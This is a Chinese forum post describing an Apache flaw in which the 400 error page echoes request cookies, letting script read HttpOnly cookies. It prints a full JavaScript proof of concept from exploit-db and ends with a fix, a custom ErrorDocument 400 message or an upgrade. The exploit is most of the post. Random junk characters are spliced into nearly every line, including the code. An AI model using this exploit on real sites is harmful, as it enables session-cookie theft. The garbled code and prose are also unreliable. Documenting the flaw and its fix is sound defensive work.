很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。" i$ ]7 _" Q2 k) A* L8 G6 F
3 A& P7 s: N: g) B1 v1 y* i) x1 ?
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
% f2 l: Q" Y( z& W% h
$ f1 z1 B0 i% S% m* y5 n" I. A0 ?- E0 A, H" L+ x) g
// http://www.exploit-db.com/exploits/18442/
6 e: w8 \$ d$ ?+ d' `6 tfunction setCookies (good) {* }" {& ~# t( V) q0 L
// Construct string for cookie value4 p2 h1 A- R" @4 Q* _; n( |; @: ]4 r
var str = "";
- U; J4 W: u3 E2 l3 Z, hfor (var i=0; i< 819; i++) {
: ^8 v1 l5 O1 H8 M7 \5 w& k8 i; ystr += "x";
$ a' p I' ~9 J# Q" E+ i5 P- n* h}
5 Q$ f2 s# z. m! ~' q1 v( r) J// Set cookies
5 G a: K: @! C6 K& j3 L$ F0 Ifor (i = 0; i < 10; i++) {9 {1 q% y! n' e
// Expire evil cookie# q$ @: l( C) g* P1 b v
if (good) {+ h( w( X" X3 T# T) n! h0 M
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";# s& T* x1 M* T+ a$ b* q8 @0 J
}
1 S& E, r* G% r// Set evil cookie
& F6 R) Q9 w$ x) @/ _else {
( N" j1 i6 T1 c( O9 |var cookie = "xss"+i+"="+str+";path=/";2 u! [+ [0 N0 v9 L7 Q
}
' e. B- Z% f6 }$ gdocument.cookie = cookie;
. @8 j. g) u, b, T6 f+ r- o @7 d+ H}- R% A# Q( K, H2 F9 t
}) F& I& Y+ _# W4 K% y
function makeRequest() {
2 t+ I8 I2 ?' U: {4 l$ L: E9 bsetCookies();: U; C# v7 U" n! z2 R; s1 t
function parseCookies () {" `% v: J" O4 b6 O
var cookie_dict = {};
. m' w* r; u8 e' A1 F* j// Only react on 400 status# E& b$ P, A# [' b# a- [; h# _
if (xhr.readyState === 4 && xhr.status === 400) { Z- Q2 ?/ y: k
// Replace newlines and match <pre> content
+ G% T* y' _' ]var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);/ a' G9 r) O o0 a4 k! A
if (content.length) {
' C' G0 n: {& N% r// Remove Cookie: prefix
! m. u& J: a* b4 ?1 Tcontent = content[1].replace("Cookie: ", "");8 X0 O) ^9 {: B4 C
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);: o& h; \! G! \+ ^2 Z
// Add cookies to object0 G! O7 M+ W4 i+ G$ V
for (var i=0; i<cookies.length; i++) {
" c: i% Z& D' }8 ^var s_c = cookies.split('=',2);$ _7 W: a0 E% |# F# U) C2 z
cookie_dict[s_c[0]] = s_c[1];' Y" L2 W, F% B) H- V: C: p
}
) a+ I0 i, [; G3 H3 T7 i}4 }3 l( Y& Y# Q# P# T% B l. k
// Unset malicious cookies0 t$ x5 ]4 G& ~$ |9 @. h
setCookies(true);
" T6 n" O/ A# E7 I* G8 }alert(JSON.stringify(cookie_dict));7 B |" ]3 A* n2 m" E; c7 I$ ^
}
) {# k" a! T& a) v% r}
! R: p8 t3 d0 K// Make XHR request
- ~ \$ [" w9 z8 d! T& y# u/ tvar xhr = new XMLHttpRequest();
4 D/ ]5 I* `& I# L+ D+ gxhr.onreadystatechange = parseCookies;( U. V6 I) F8 M, F1 R+ s: b" m
xhr.open("GET", "/", true);
D1 y, Z, e% t- a8 a5 axhr.send(null);
- p+ M3 S/ [5 y$ m; y}
- w: b6 v C: P, ~2 L( m2 |) h" I' EmakeRequest();' S! E2 V1 G$ V. B; X
$ L- T: V' P; R1 F: B( ^+ s
你就能看见华丽丽的400错误包含着cookie信息。$ g! i6 T2 W, f: { J
/ V6 o) a5 p, t+ ]7 r% L# {, Z3 ?下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#6 s3 B% {2 [$ y, [) V1 u. M
' _9 n, _# l8 a
修复方案:
9 J d1 I: g8 \( S1 y* D# Q, t' J+ w. ~9 S+ k$ D5 M P8 O* T
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下( F9 S3 A' B8 P4 B
4 b) e# I$ X. W6 _: R" r) |In the event of a problem or error, Apachecan be configured to do one of four things,
5 Z: e x" `2 C7 y V9 s
1 I" K, `5 q6 N a. S1 Y1. output asimple hardcoded error message输出一个简单生硬的错误代码信息/ N1 D7 Y2 t! b+ P) N
2. output acustomized message输出一段信息
) d, h1 f# D7 X# ~5 P- N# y) P0 t3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% Z/ I* }& h' f4 N/ e b4. redirect to an external URL to handle theproblem/error转向一个外部URL! t) _' L" {2 @8 c$ O; m# M
; r9 K& S% R( K8 l经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容2 _ C7 y8 j+ t, w
7 s. ?" @( ~3 _6 Y; V. ^Apache配置:
- C* U a+ X8 y9 o+ {' x5 ^- ~& D; @, Q' {1 N) j8 q6 k7 y
ErrorDocument400 " security test"% h, K2 w8 _! R8 P% @6 p9 f) ^
- }/ Q1 \+ Z/ s$ Q
当然,升级apache到最新也可:)。/ C" \- a Y$ C6 g0 z* T0 C9 P; j z
3 f" k8 e( O8 x$ K
参考:http://httpd.apache.org/security/vulnerabilities_22.html
, j }! z/ I U. N) t8 D8 U" ?+ J2 F
3 S, b( [! w7 n; j, z N9 {% f8 ] |